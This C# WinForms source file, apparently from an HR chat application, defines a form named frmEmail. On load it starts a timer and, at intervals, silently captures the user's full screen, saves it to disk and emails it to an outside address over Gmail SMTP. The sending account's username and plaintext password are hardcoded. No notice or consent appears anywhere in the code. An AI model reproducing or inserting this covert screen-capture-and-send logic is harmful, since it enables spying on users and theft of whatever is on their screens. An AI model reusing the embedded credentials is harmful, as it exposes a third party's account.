﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using System.Net.Mail;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;

namespace HRMChat
{
    public partial class frmEmail : DevExpress.XtraEditors.XtraForm
    {
        public frmEmail()
        {
            InitializeComponent();
        }

        private void simpleButton1_Click(object sender, EventArgs e)
        {
            //PrintScreen();
            this.timer1.Start();
            try
            {

            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }

        private void PrintScreen()
        {
            using (Bitmap bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb))
            {
                using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
                {
                    // Create a graphics object from the bitmap


                    // Take the screenshot from the upper left corner to the right bottom corner

                    gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);

                    // Save the screenshot to the specified path that the user has chosen

                    bmpScreenshot.Save(@"D:\Temp\printscreen.jpg", ImageFormat.Jpeg);
                }
            }



        }

        private void SendMail()
        {
            using (MailMessage mail = new MailMessage())
            {
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress("quangtm1405@student-topica.edu.vn");
                mail.To.Add("blackApple2017@facebook.com");
                mail.Subject = "Gửi táo đen ";
                mail.Body = "Thử nghiệm thôi ";

                System.Net.Mail.Attachment attachment;
                attachment = new System.Net.Mail.Attachment(@"D:\Temp\printscreen.jpg");
                mail.Attachments.Add(attachment);

                SmtpServer.Port = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("quangtm1405@student-topica.edu.vn", "vnn_1507717182");
                SmtpServer.EnableSsl = true;

                SmtpServer.Send(mail);
            }




        }

        private void RemoveFile()
        {
            File.Delete(@"D:\Temp\printscreen.jpg");
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            if (count == 0)
            {
                PrintScreen();
                SendMail();
                //RemoveFile();
            }
            count++;
            if (count == 60)
            {
                count = 0;
            }

        }

        int count = 0;

        private void frmEmail_Load(object sender, EventArgs e)
        {
            this.timer1.Start();
        }
    }
}